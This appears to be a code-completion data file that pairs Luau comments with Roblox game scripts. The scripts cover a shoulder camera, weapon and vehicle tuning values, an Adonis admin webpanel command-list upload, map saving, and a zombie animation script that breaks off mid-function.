Prompt: -- Set up the Local Player

Response:
if RunService:IsClient() then
	if LocalPlayer.Character then
		onCharacterAdded(LocalPlayer.Character)
	end
	LocalPlayer.CharacterAdded:Connect(onCharacterAdded)
	LocalPlayer.CharacterRemoving:Connect(onCharacterRemoving)
end

local ShoulderCamera = {}
ShoulderCamera.__index = ShoulderCamera
ShoulderCamera.SpringService = nil

function ShoulderCamera.new(weaponsSystem)
	local self = setmetatable({}, ShoulderCamera)
	self.weaponsSystem = weaponsSystem

	-- Configuration parameters (constants)
	self.fieldOfView = 70
	self.minPitch = math.rad(-75) -- min degrees camera can angle down
	self.maxPitch = math.rad(75) -- max degrees camera can cangle up
	self.normalOffset = Vector3.new(2.25, 2.25, 10.5) -- this is the camera's offset from the player
	self.zoomedOffsetDistance = 8 -- number of studs to zoom in from default offset when zooming
	self.normalCrosshairScale = 1
	self.zoomedCrosshairScale = 0.75
	self.defaultZoomFactor = 1
	self.canZoom = true
	self.zoomInputs = { Enum.UserInputType.MouseButton2, Enum.KeyCode.ButtonR2 }
	self.sprintInputs = { Enum.KeyCode.LeftShift, Enum.KeyCode.ButtonL2, Enum.KeyCode.RightShift }
	self.mouseRadsPerPixel = Vector2.new(1 / 480, 1 / 480)
	self.zoomedMouseRadsPerPixel = Vector2.new(1 / 1200, 1 / 1200)
	self.touchSensitivity = Vector2.new(1 / 100, 1 / 100)
	self.zoomedTouchSensitivity = Vector2.new(1 / 200, 1 / 200)
	self.touchDelayTime = 0.25 -- max time for a touch to count as a tap (to shoot the weapon instead of control camera),
	                           -- also the amount of time players have to start a second touch after releasing the first time to trigger automatic fire
	self.recoilDecay = 2 -- higher number means faster recoil decay rate
	self.rotateCharacterWithCamera = true
	self.gamepadSensitivityModifier = Vector2.new(0.85, 0.65)
	-- Walk speeds
	self.zoomWalkSpeed = 8
	self.normalWalkSpeed = 16
	self.sprintingWalkSpeed = 24

	-- Current state
	self.enabled = false
	self.yaw = 0
	self.pitch = 0
	self.currentCFrame = CFrame.new()
	self.currentOffset = self.normalOffset
	self.currentRecoil = Vector2.new(0, 0)
	self.currentMouseRadsPerPixel = self.mouseRadsPerPixel
	self.currentTouchSensitivity = self.touchSensitivity
	self.mouseLocked = true
	self.touchPanAccumulator = Vector2.new(0, 0) -- used for touch devices, represents amount the player has dragged their finger since starting a touch
	self.currentTool = nil
	self.sprintingInputActivated = false
	self.desiredWalkSpeed = self.normalWalkSpeed
	self.sprintEnabled = false -- true means player will move faster while doing sprint inputs
	self.slowZoomWalkEnabled = false -- true means player will move slower while doing zoom inputs
	self.desiredFieldOfView = self.fieldOfView
	-- Zoom variables
	self.zoomedFromInput = false -- true if player has performed input to zoom
	self.forcedZoomed = false -- ignores zoomedFromInput and canZoom
	self.zoomState = false -- true if player is currently zoomed in
	self.zoomAlpha = 0
	self.hasScope = false
	self.hideToolWhileZoomed = false
	self.currentZoomFactor = self.defaultZoomFactor
	self.zoomedFOV = self.fieldOfView
	-- Gamepad variables
	self.gamepadPan = Vector2.new(0, 0) -- essentially the amount the gamepad has moved from resting position
	self.movementPan = Vector2.new(0, 0) -- this is for movement (gamepadPan is for camera)
	self.lastThumbstickPos = Vector2.new(0, 0)
	self.lastThumbstickTime = nil
	self.currentGamepadSpeed = 0
	self.lastGamepadVelocity = Vector2.new(0, 0)

	-- Occlusion
	self.lastOcclusionDistance = 0
	self.lastOcclusionReachedTime = 0 -- marks the last time camera was at the true occlusion distance
	self.defaultTimeUntilZoomOut = 0
	self.timeUntilZoomOut = self.defaultTimeUntilZoomOut -- time after lastOcclusionReachedTime that camera will zoom out
	self.timeLastPoppedWayIn = 0 -- this holds the last time camera popped nearly into first person
	self.isZoomingOut = false
	self.tweenOutTime = 0.2
	self.curOcclusionTween = nil
	self.occlusionTweenObject = nil

	-- Side correction (when player is against a wall)
	self.sideCorrectionGoalVector = nil
	self.lastSideCorrectionMagnitude = 0
	self.lastSideCorrectionReachedTime = 0 -- marks the last time the camera was at the true correction distance
	self.revertSideCorrectionSpeedMultiplier = 2 -- speed at which camera reverts the side correction (towards 0 correction)
	self.defaultTimeUntilRevertSideCorrection = 0.75
	self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection -- time after lastSideCorrectionReachedTime that camera will revert the correction
	self.isRevertingSideCorrection = false

	-- Datamodel references
	self.eventConnections = {}
	self.raycastIgnoreList = {}
	self.currentCamera = nil
	self.currentCharacter = nil
	self.currentHumanoid = nil
	self.currentRootPart = nil
	self.controlModule = nil -- used to get player's touch input for moving character
	self.random = Random.new()

	return self
end

function ShoulderCamera:setEnabled(enabled)
	if self.enabled == enabled then
		return
	end
	self.enabled = enabled

	if self.enabled then
		RunService:BindToRenderStep(CAMERA_RENDERSTEP_NAME, Enum.RenderPriority.Camera.Value - 1, function(dt) self:onRenderStep(dt) end)
		ContextActionService:BindAction(ZOOM_ACTION_NAME, function(...) self:onZoomAction(...) end, false, unpack(self.zoomInputs))
		ContextActionService:BindAction(SPRINT_ACTION_NAME, function(...) self:onSprintAction(...) end, false, unpack(self.sprintInputs))

		table.insert(self.eventConnections, LocalPlayer.CharacterAdded:Connect(function(character) self:onCurrentCharacterChanged(character) end))
		table.insert(self.eventConnections, LocalPlayer.CharacterRemoving:Connect(function() self:onCurrentCharacterChanged(nil) end))
		table.insert(self.eventConnections, workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function() self:onCurrentCameraChanged(workspace.CurrentCamera) end))
		table.insert(self.eventConnections, UserInputService.InputBegan:Connect(function(inputObj, wasProcessed) self:onInputBegan(inputObj, wasProcessed) end))
		table.insert(self.eventConnections, UserInputService.InputChanged:Connect(function(inputObj, wasProcessed) self:onInputChanged(inputObj, wasProcessed) end))
		table.insert(self.eventConnections, UserInputService.InputEnded:Connect(function(inputObj, wasProcessed) self:onInputEnded(inputObj, wasProcessed) end))

		self:onCurrentCharacterChanged(LocalPlayer.Character)
		self:onCurrentCameraChanged(workspace.CurrentCamera)

		-- Make transition to shouldercamera smooth by facing in same direction as previous camera
		local cameraLook = self.currentCamera.CFrame.lookVector
		self.yaw = math.atan2(-cameraLook.X, -cameraLook.Z)
		self.pitch = math.asin(cameraLook.Y)

		self.currentCamera.CameraType = Enum.CameraType.Scriptable

		self:setZoomFactor(self.currentZoomFactor) -- this ensures that zoomedFOV reflecs currentZoomFactor

		workspace.CurrentCamera.CameraSubject = self.currentRootPart

		self.occlusionTweenObject = Instance.new("NumberValue")
		self.occlusionTweenObject.Name = "OcclusionTweenObject"
		self.occlusionTweenObject.Parent = script
		self.occlusionTweenObject.Changed:Connect(function(value)
			self.lastOcclusionDistance = value
		end)

		-- Sets up weapon system to use camera for raycast direction instead of gun look vector
		self.weaponsSystem.aimRayCallback = function()
			local cameraCFrame = self.currentCFrame
			return Ray.new(cameraCFrame.p, cameraCFrame.LookVector * 500)
		end
	else
		RunService:UnbindFromRenderStep(CAMERA_RENDERSTEP_NAME)
		ContextActionService:UnbindAction(ZOOM_ACTION_NAME)
		ContextActionService:UnbindAction(SPRINT_ACTION_NAME)

		if self.currentHumanoid then
			self.currentHumanoid.AutoRotate = true
		end

		if self.currentCamera then
			self.currentCamera.CameraType = Enum.CameraType.Custom
		end

		self:updateZoomState()

		self.yaw = 0
		self.pitch = 0

		for _, conn in pairs(self.eventConnections) do
			conn:Disconnect()
		end
		self.eventConnections = {}

		UserInputService.MouseBehavior = Enum.MouseBehavior.Default
		UserInputService.MouseIconEnabled = true
	end
end

function ShoulderCamera:onRenderStep(dt)
	if not self.enabled or
	   not self.currentCamera or
	   not self.currentCharacter or
	   not self.currentHumanoid or
	   not self.currentRootPart
	then
		return
	end

	-- Hide mouse and lock to center if applicable
	if self.mouseLocked and not GuiService:GetEmotesMenuOpen() then
		UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
		UserInputService.MouseIconEnabled = false
	else
		UserInputService.MouseBehavior = Enum.MouseBehavior.Default
		UserInputService.MouseIconEnabled = true
	end

	-- Handle gamepad input
	self:processGamepadInput(dt)

	-- Smoothly zoom to desired values
	if self.hasScope then
		ShoulderCamera.SpringService:Target(self, 0.8, 8, { zoomAlpha = self.zoomState and 1 or 0 })
		ShoulderCamera.SpringService:Target(self.currentCamera, 0.8, 8, { FieldOfView = self.desiredFieldOfView })
	else
		ShoulderCamera.SpringService:Target(self, 0.8, 3, { zoomAlpha = self.zoomState and 1 or 0 })
		ShoulderCamera.SpringService:Target(self.currentCamera, 0.8, 3, { FieldOfView = self.desiredFieldOfView })
	end

	-- Handle walk speed changes
	if self.sprintEnabled or self.slowZoomWalkEnabled then
		self.desiredWalkSpeed = self.normalWalkSpeed
		if self.sprintEnabled and (self.sprintingInputActivated or self:sprintFromTouchInput() or self:sprintFromGamepadInput()) and not self.zoomState then
			self.desiredWalkSpeed = self.sprintingWalkSpeed
		end
		if self.slowZoomWalkEnabled and self.zoomAlpha > 0.1 then
			self.desiredWalkSpeed = self.zoomWalkSpeed
		end

		ShoulderCamera.SpringService:Target(self.currentHumanoid, 0.95, 4, { WalkSpeed = self.desiredWalkSpeed })
	end

	-- Initialize variables used for side correction, occlusion, and calculating camera focus/rotation
	local rootPartPos = self.currentRootPart.CFrame.Position
	local rootPartUnrotatedCFrame = CFrame.new(rootPartPos)
	local yawRotation = CFrame.Angles(0, self.yaw, 0)
	local pitchRotation = CFrame.Angles(self.pitch + self.currentRecoil.Y, 0, 0)
	local xOffset = CFrame.new(self.normalOffset.X, 0, 0)
	local yOffset = CFrame.new(0, self.normalOffset.Y, 0)
	local zOffset = CFrame.new(0, 0, self.normalOffset.Z)
	local collisionRadius = self:getCollisionRadius()
	local cameraYawRotationAndXOffset =
		yawRotation * 		-- First rotate around the Y axis (look left/right)
		xOffset 			-- Then perform the desired offset (so camera is centered to side of player instead of directly on player)
	local cameraFocus = rootPartUnrotatedCFrame * cameraYawRotationAndXOffset

	-- Handle/Calculate side correction when player is adjacent to a wall (so camera doesn't go in the wall)
	local vecToFocus = cameraFocus.p - rootPartPos
	local rayToFocus = Ray.new(rootPartPos, vecToFocus + (vecToFocus.Unit * collisionRadius))
	local hitPart, hitPoint, hitNormal = self:penetrateCast(rayToFocus, self.raycastIgnoreList)
	local currentTime = tick()
	local sideCorrectionGoalVector = Vector3.new() -- if nothing is adjacent to player, goal vector is (0, 0, 0)
	if hitPart then
		hitPoint = hitPoint + (hitNormal * collisionRadius)
		sideCorrectionGoalVector = hitPoint - cameraFocus.p
		if sideCorrectionGoalVector.Magnitude >= self.lastSideCorrectionMagnitude then -- make it easy for camera to pop closer to player (move left)
			if currentTime > self.lastSideCorrectionReachedTime + self.timeUntilRevertSideCorrection and self.lastSideCorrectionMagnitude ~= 0 then
				self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection * 2 -- double time until revert if popping in repeatedly
			elseif self.lastSideCorrectionMagnitude == 0 and self.timeUntilRevertSideCorrection ~= self.defaultTimeUntilRevertSideCorrection then
				self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection
			end
			self.lastSideCorrectionMagnitude = sideCorrectionGoalVector.Magnitude
			self.lastSideCorrectionReachedTime = currentTime
			self.isRevertingSideCorrection = false
		else
			self.isRevertingSideCorrection = true
		end
	elseif self.lastSideCorrectionMagnitude ~= 0 then
		self.isRevertingSideCorrection = true
	end
	if self.isRevertingSideCorrection then -- make it hard/slow for camera to revert side correction (move right)
		if sideCorrectionGoalVector.Magnitude > self.lastSideCorrectionMagnitude - 1 and sideCorrectionGoalVector.Magnitude ~= 0 then
			self.lastSideCorrectionReachedTime = currentTime -- reset timer if occlusion significantly increased since last frame
		end
		if currentTime > self.lastSideCorrectionReachedTime + self.timeUntilRevertSideCorrection then
			local sideCorrectionChangeAmount = dt * (vecToFocus.Magnitude) * self.revertSideCorrectionSpeedMultiplier
			self.lastSideCorrectionMagnitude = self.lastSideCorrectionMagnitude - sideCorrectionChangeAmount
			if sideCorrectionGoalVector.Magnitude >= self.lastSideCorrectionMagnitude then
				self.lastSideCorrectionMagnitude = sideCorrectionGoalVector.Magnitude
				self.lastSideCorrectionReachedTime = currentTime
				self.isRevertingSideCorrection = false
			end
		end
	end

	-- Update cameraFocus to reflect side correction
	cameraYawRotationAndXOffset = cameraYawRotationAndXOffset + (-vecToFocus.Unit * self.lastSideCorrectionMagnitude)
	cameraFocus = rootPartUnrotatedCFrame * cameraYawRotationAndXOffset
	self.currentCamera.Focus = cameraFocus

	-- Calculate and apply CFrame for camera
	local cameraCFrameInSubjectSpace =
		cameraYawRotationAndXOffset *
		pitchRotation * 	-- rotate around the X axis (look up/down)
		yOffset *			-- move camera up/vertically
		zOffset				-- move camera back
	self.currentCFrame = rootPartUnrotatedCFrame * cameraCFrameInSubjectSpace

	-- Move camera forward if zoomed in
	if self.zoomAlpha > 0 then
		local trueZoomedOffset = math.max(self.zoomedOffsetDistance - self.lastOcclusionDistance, 0) -- don't zoom too far in if already occluded
		self.currentCFrame = self.currentCFrame:lerp(self.currentCFrame + trueZoomedOffset * self.currentCFrame.LookVector.Unit, self.zoomAlpha)
	end

	self.currentCamera.CFrame = self.currentCFrame

	-- Handle occlusion
	local occlusionDistance = self.currentCamera:GetLargestCutoffDistance(self.raycastIgnoreList)
	if occlusionDistance > 1e-5 then
		occlusionDistance = occlusionDistance + collisionRadius
	end
	if occlusionDistance >= self.lastOcclusionDistance then -- make it easy for the camera to pop in towards the player
		if self.curOcclusionTween ~= nil then
			self.curOcclusionTween:Cancel()
			self.curOcclusionTween = nil
		end
		if currentTime > self.lastOcclusionReachedTime + self.timeUntilZoomOut and self.lastOcclusionDistance ~= 0 then
			self.timeUntilZoomOut = self.defaultTimeUntilZoomOut * 2 -- double time until zoom out if popping in repeatedly
		elseif self.lastOcclusionDistance == 0  and self.timeUntilZoomOut ~= self.defaultTimeUntilZoomOut then
			self.timeUntilZoomOut = self.defaultTimeUntilZoomOut
		end

		if occlusionDistance / self.normalOffset.Z > 0.8 and self.timeLastPoppedWayIn == 0 then
			self.timeLastPoppedWayIn = currentTime
		end

		self.lastOcclusionDistance = occlusionDistance
		self.lastOcclusionReachedTime = currentTime
		self.isZoomingOut = false
	else -- make it hard/slow for camera to zoom out
		self.isZoomingOut = true
		if occlusionDistance > self.lastOcclusionDistance - 2 and occlusionDistance ~= 0 then -- reset timer if occlusion significantly increased since last frame
			self.lastOcclusionReachedTime = currentTime
		end

		-- If occlusion pops camera in to almost first person for a short time, pop out instantly
		if currentTime < self.timeLastPoppedWayIn + self.defaultTimeUntilZoomOut and self.lastOcclusionDistance / self.normalOffset.Z > 0.8 then
			self.lastOcclusionDistance = occlusionDistance
			self.lastOcclusionReachedTime = currentTime
			self.isZoomingOut = false
		elseif currentTime >= self.timeLastPoppedWayIn + self.defaultTimeUntilZoomOut and self.timeLastPoppedWayIn ~= 0 then
			self.timeLastPoppedWayIn = 0
		end
	end

	-- Update occlusion amount if timeout time has passed
	if currentTime >= self.lastOcclusionReachedTime + self.timeUntilZoomOut and not self.zoomState then
		if self.curOcclusionTween == nil then
			self.occlusionTweenObject.Value = self.lastOcclusionDistance
			local tweenInfo = TweenInfo.new(self.tweenOutTime)
			local goal = {}
			goal.Value = self.lastOcclusionDistance - self.normalOffset.Z
			self.curOcclusionTween = TweenService:Create(self.occlusionTweenObject, tweenInfo, goal)
			self.curOcclusionTween:Play()
		end
	end

	-- Apply occlusion to camera CFrame
	local currentOffsetDir = self.currentCFrame.LookVector.Unit
	self.currentCFrame = self.currentCFrame + (currentOffsetDir * self.lastOcclusionDistance)
	self.currentCamera.CFrame = self.currentCFrame

	-- Apply recoil decay
	self.currentRecoil = self.currentRecoil - (self.currentRecoil * self.recoilDecay * dt)

	if self:isHumanoidControllable() and self.rotateCharacterWithCamera then
		self.currentHumanoid.AutoRotate = false
		self.currentRootPart.CFrame = CFrame.Angles(0, self.yaw, 0) + self.currentRootPart.Position -- rotate character to be upright and facing the same direction as camera
		self:applyRootJointFix()
	else
		self.currentHumanoid.AutoRotate = true
	end

	self:handlePartTransparencies()
	self:handleTouchToolFiring()
end


Prompt: --// This module is only used to generate and update a list of non-custom commands for the webpanel and will not operate under normal circumstances

Response:
return function(Vargs)
	--if true then return end --// fully disabled
	service.TrackTask("Thread: WEBPANEL_JSON_UPDATE", function()
		wait(1)
		local enabled = _G.ADONISWEB_CMD_JSON_DOUPDATE;
		local secret = _G.ADONISWEB_CMD_JSON_SECRET;
		local endpoint = _G.ADONISWEB_CMD_JSON_ENDPOINT;

		if not enabled or not secret or not endpoint then return end

		print("WEB ENABLED DO UPDATE");

		local server = Vargs.Server;
		local service = Vargs.Service;

		local Core = server.Core;
		local Commands = server.Commands;

		if Core.DebugMode and enabled then
			print("DEBUG DO LAUNCH ENABLED");
			wait(5)

			local list = {};
			local HTTP = service.HttpService;
			local Encode = server.Functions.Base64Encode
			local Decode = server.Functions.Base64Decode

			for i,cmd in next,Commands do
				table.insert(list, {
					Index = i;
					Prefix = cmd.Prefix;
					Commands = cmd.Commands;
					Arguments = cmd.Args;
					Description = cmd.Description;
					AdminLevel = cmd.AdminLevel;
					Hidden = cmd.Hidden or false;
					NoFilter = cmd.NoFilter or false;
				})
			end

			--warn("COMMANDS LIST JSON: ");
			--print("\n\n".. HTTP:JSONEncode(list) .."\n\n");
			--print("ENCODED")
			--// LAUNCH IT
			print("LAUNCHING")
			local success, res = pcall(HTTP.RequestAsync, HTTP, {
				Url = endpoint;
				Method = "POST";
				Headers = {
					["Content-Type"] = "application/json",
					["Secret"] = secret
				};

				Body = HTTP:JSONEncode({
					["data"] = Encode(HTTP:JSONEncode(list))
				})
			});

			print("LAUNCHED TO WEBPANEL")
			print("RESPONSE BELOW")
			print("SUCCESS: ".. tostring(success).. "\n"..
				"RESPONSE:\n"..(res and HTTP.JSONEncode(res)) or res)
		end
	end)
end


Prompt:
--[[ @brief Performs an operation on heartbeat for a set amount of time.
     @details This fills a common need for animating things smoothly, esp. GUIs. Expect things animated through this function to be smoother than things animated on a while loop.
     @param fn The callback function for each heartbeat step.
     @param lengthOfTime The length of time which we should continually call the callback.
     @param yield Whether this function should yield or return immediately.
--]]

Response:
function AnimateLib.TemporaryOnHeartbeat(fn, lengthOfTime, yield, callback)
	local function PerfectDT(dt)
		if lengthOfTime > dt then
			lengthOfTime = lengthOfTime - dt;
			fn(dt);
		else
			local t = lengthOfTime;
			lengthOfTime = 0;
			fn(t);
		end
	end
	local function Condition()
		return lengthOfTime > 0;
	end
	return AnimateLib.ConditionalOnHeartbeat(PerfectDT, Condition, yield, callback);
end

return AnimateLib;


Prompt: --This script makes the screen black when the player dies.

Response:
Player = script.Parent.Parent.Parent.Parent.Character
s = Player.Humanoid
while true do
if s.Health <= 1 then
script.Parent.Visible = true
script.Parent.Transparency = 1 --Invisible
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.9
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.8
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.7
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.6
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.5
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.4
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.3
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.2
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.1
wait(0.3)
script.Parent.Transparency = script.Parent.Transparency - 0.1 --Completely black screen
wait(999999999999999)
end
wait()
end


Prompt: --// Handling Settings

Response:
	Firerate = 60 / 5500; -- 60 = 1 Minute, 5500 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!

	FireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive


Prompt: -- Determines whether log messages will go to stdout/stderr

Response: local outputEnabled = true


Prompt: -- Syrchronized time

Response:
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")

local ServerTime = {}

local _timeOffset = 0
local _serverTime = ReplicatedStorage:FindFirstChild("ServerTime")

if not _serverTime then
	_serverTime = Instance.new("NumberValue")
	_serverTime.Name = "ServerTime"
	_serverTime.Parent = ReplicatedStorage
end

local function _update()
	_serverTime.Value = tick() - _timeOffset
end

function ServerTime.run()
	_timeOffset = tick()
	_update()

	RunService.Stepped:Connect(_update)
end


Prompt:
-- "open" - opens the shutters straight away
-- "close" - closes the shutters straight away
-- "release" - emergency release which opens them to 5.2 studs
-- These are the two you'll need:
-- "time_open" - opens the shutter after actiontime
-- "time_close" - closes the shutter after actiontime


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 35		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 800		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 3000		--		Use sliders to manipulate values
	Tune.Redline		= 6000		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 6000
	Tune.PeakSharpness	= 2
	Tune.CurveMult		= .2

	--Incline Compensation
	Tune.InclineComp	= 1.5		-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 450		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 150		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 0			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response, lower = more stable RPM)


Prompt: -- Main Functions

Response:
function Animater.new(controller: controller?)
	local self = table.clone(Animater)

	self._maid = Maid.new()

	self.Tracks = {}
	self.Controller = controller

	self.FadeIn = 0
	self.FadeOut = 0
	self.Priority = Enum.AnimationPriority.Core

	return self
end


Prompt: -- Functions

Response:
function MapManager:SaveMap(object)
	FindAndSaveSpawns(object)
	for i = #Spawns, 1, -1 do
		if Configurations.TEAMS then
			if Spawns[i].TeamColor.Name == "Bright red" or Spawns[i].TeamColor.Name == "Bright blue" then
				Spawns[i].Neutral = false
				Spawns[i].Transparency = 1
			else
				table.remove(Spawns, i):Destroy()
			end
		else
			Spawns[i].Neutral = true
			Spawns[i].Transparency = 1
		end
	end

	for _, child in pairs(object:GetChildren()) do
		if not child:IsA("Camera") and not child:IsA("Terrain") and child.Name ~= "MapPurgeProof" then
			local copy = child:Clone()
			if copy then
				copy.Parent = MapSave
			end
		end
	end
end

function MapManager:ClearMap()
	for _, child in ipairs(game.Workspace:GetChildren()) do
		if not child:IsA('Camera') and not child:IsA('Terrain') and child.Name ~= "MapPurgeProof" then
			child:Destroy()
		end
	end
end

function MapManager:LoadMap()
	spawn(function()
		for _, child in ipairs(MapSave:GetChildren()) do
			local copy = child:Clone()
			copy.Parent = game.Workspace
		end
	end)
end

return MapManager


Response:
function waitForChild(parent, childName)
	while true do
		local child = parent:findFirstChild(childName)
		if child then
			return child
		end
		parent.ChildAdded:wait()
	end
end

local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Zombie")
local pose = "Standing"

local toolAnim = "None"
local toolAnimTime = 0

local isSeated = false

function onRunning(speed)
	if isSeated then return end

	if speed>0 then
		pose = "Running"
	else
		pose = "Standing"
	end
end

function onDied()
	pose = "Dead"
        wait(regentime)
    wait(1)
    model:remove()
    model = backup:Clone()
    wait(3)
    model.Parent = game.Workspace
    model:MakeJoints()
end

function onJumping()
	isSeated = false
	pose = "Jumping"
end

function onClimbing()
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	pose = "FreeFall"
end

function onDancing()
	pose = "Dancing"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	isSeated = true
	pose = "Seated"
end

function moveJump()
	RightShoulder.MaxVelocity = 1
	LeftShoulder.MaxVelocity = 1
	RightShoulder.DesiredAngle = -3.14
	LeftShoulder.DesiredAngle = -3.14
	RightHip.DesiredAngle = 0
	LeftHip.DesiredAngle = 0
end

function moveFreeFall()
	RightShoulder.MaxVelocity = 0.5
	LeftShoulder.MaxVelocity = 0.5
	RightShoulder.DesiredAngle = -1
	LeftShoulder.DesiredAngle = -1
	RightHip.DesiredAngle = 0
	LeftHip.DesiredAngle = 0
end

function moveFloat()
	RightShoulder.MaxVelocity = 0.5
	LeftShoulder.MaxVelocity = 0.5
	RightShoulder.DesiredAngle = -1.57
	LeftShoulder.DesiredAngle = 1.57
	RightHip.DesiredAngle = 1.57
	LeftHip.DesiredAngle = -1.57
end

function moveBoogy()
while pose=="Boogy" do
	wait(.5)
	RightShoulder.MaxVelocity = 1
	LeftShoulder.MaxVelocity = 1
	RightShoulder.DesiredAngle = -3.14
	LeftShoulder.DesiredAngle = 0
	RightHip.DesiredAngle = 1.57
	LeftHip.DesiredAngle = 0
	wait(.5)
	RightShoulder.MaxVelocity = 1
	LeftShoulder.MaxVelocity = 1
	RightShoulder.DesiredAngle = 0
	LeftShoulder.DesiredAngle = -3.14
	RightHip.DesiredAngle = 0
	LeftHip.DesiredAngle = 1.57
end
end

function moveZombie()
	RightShoulder.MaxVelocity = 0.5
	LeftShoulder.MaxVelocity = 0.5
	RightShoulder.DesiredAngle = -1.57
	LeftShoulder.DesiredAngle = 1.57
	RightHip.DesiredAngle = 0
	LeftHip.DesiredAngle = 0
end

function movePunch()
	script.Parent.Torso.Anchored=true
	RightShoulder.MaxVelocity = 60
	LeftShoulder.MaxVelocity = 0.5
	RightShoulder.DesiredAngle = -1.57
	LeftShoulder.DesiredAngle = 0
	RightHip.DesiredAngle = 0
	LeftHip.DesiredAngle = 0
wait(1)
script.Parent.Torso.Anchored=false
pose="Standing"

end

function moveKick()
	RightShoulder.MaxVelocity = 0.5
	LeftShoulder.MaxVelocity = 0.5
	RightShoulder.DesiredAngle = 0
	LeftShoulder.DesiredAngle = 0
	RightHip.MaxVelocity = 40
	RightHip.DesiredAngle = 1.57
	LeftHip.DesiredAngle = 0
wait(1)
pose="Standing"

end

function moveFly()
	RightShoulder.MaxVelocity = 0.5
	LeftShoulder.MaxVelocity = 0.5
	RightShoulder.DesiredAngle = 0
	LeftShoulder.DesiredAngle = 0
	RightHip.MaxVelocity = 40
	RightHip.DesiredAngle = 1.57
	LeftHip.DesiredAngle = 0
wait(1)
pose="Standing"

end

function moveClimb()
	RightShoulder.MaxVelocity = 0.5
	LeftShoulder.MaxVelocity = 0.5
	RightShoulder.DesiredAngle = -3.14
	LeftShoulder.DesiredAngle = 3.14
	RightHip.DesiredAngle = 0
	LeftHip.DesiredAngle = 0
end

function moveSit()
	RightShoulder.MaxVelocity = 0.15
	LeftShoulder.MaxVelocity = 0.15
	RightShoulder.DesiredAngle = -3.14 /2
	LeftShoulder.DesiredAngle = -3.14 /2
	RightHip.DesiredAngle = 3.14 /2
	LeftHip.DesiredAngle = -3.14 /2
end

function getTool()

	kidTable = Figure:children()
	if (kidTable ~= nil) then
		numKids = #kidTable
		for i=1,numKids do
			if (kidTable[i].className == "Tool") then return kidTable[i] end
		end
	end

	return nil
end

function getToolAnim(tool)

	c = tool:children()
	for i=1,#c do
		if (c[i].Name == "toolanim" and c[i].className == "StringValue") then
			return c[i]
		end
	end
	return nil
end

function animateTool()

	if (toolAnim == "None") then
		RightShoulder.DesiredAngle = -1.57
		return
	end

	if (toolAnim == "Slash") then
		RightShoulder.MaxVelocity = 0.5
		RightShoulder.DesiredAngle = 0
		return
	end

	if (toolAnim == "Lunge") then
		RightShoulder.MaxVelocity = 0.5
		LeftShoulder.MaxVelocity = 0.5
		RightHip.MaxVelocity = 0.5
		LeftHip.MaxVelocity = 0.5
		RightShoulder.DesiredAngle = -1.57
		LeftShoulder.DesiredAngle = 1.0
		RightHip.DesiredAngle = 1.57
		LeftHip.DesiredAngle = 1.0
		return
	end
end

function move(time)
	local amplitude
	local frequency

	if (pose == "Jumping") then
		moveJump()
		return
	end

	if (pose == "Zombie") then
		moveZombie()
		return
	end

	if (pose == "Boogy") then
		moveBoogy()
		return
	end

	if (pose == "Float") then
		moveFloat()
		return
	end

	if (pose == "Punch") then
		movePunch()
		return
	end

	if (pose == "Kick") then
		moveKick()
		return
	end

	if (pose == "Fly") then
		moveFly()
		return
	end

	if (pose == "FreeFall") then
		moveFreeFall()
		return
	end

	if (pose == "Climbing") then
		moveClimb()
		return
	end

	if (pose == "Seated") then
		moveSit()
		return
	end

		amplitude = 0.1
		frequency = 1

	RightShoulder.MaxVelocity = 0.15
	LeftShoulder.MaxVelocity = 0.15
	if (pose == "Running") then
		amplitude = 1
		frequency = 9
	elseif (pose == "Dancing") then
		amplitude = 2
		frequency = 16
	end

	desiredAngle = amplitude * math.sin(time*frequency)
	if pose~="Dancing" then
		RightShoulder.DesiredAngle = -desiredAngle
		LeftShoulder.DesiredAngle = desiredAngle
		RightHip.DesiredAngle = -desiredAngle
		LeftHip.DesiredAngle = -desiredAngle
	else
		RightShoulder.DesiredAngle = desiredAngle
		LeftShoulder.DesiredAngle = desiredAngle
		RightHip.DesiredAngle = -desiredAngle
		LeftHip.DesiredAngle = -desiredAngle
	end

	local tool = getTool()

	if tool ~= nil then

		animStringValueObject = getToolAnim(tool)

		if animStringValueObject ~= nil then
			toolAnim = animStringValueObject.Value
			-- message recieved, delete StringValue
			animStringValueObject.Parent = nil
			toolAnimTime = time + .3
		end

		if time > toolAnimTime then
			toolAnimTime = 0
			toolAnim = "None"
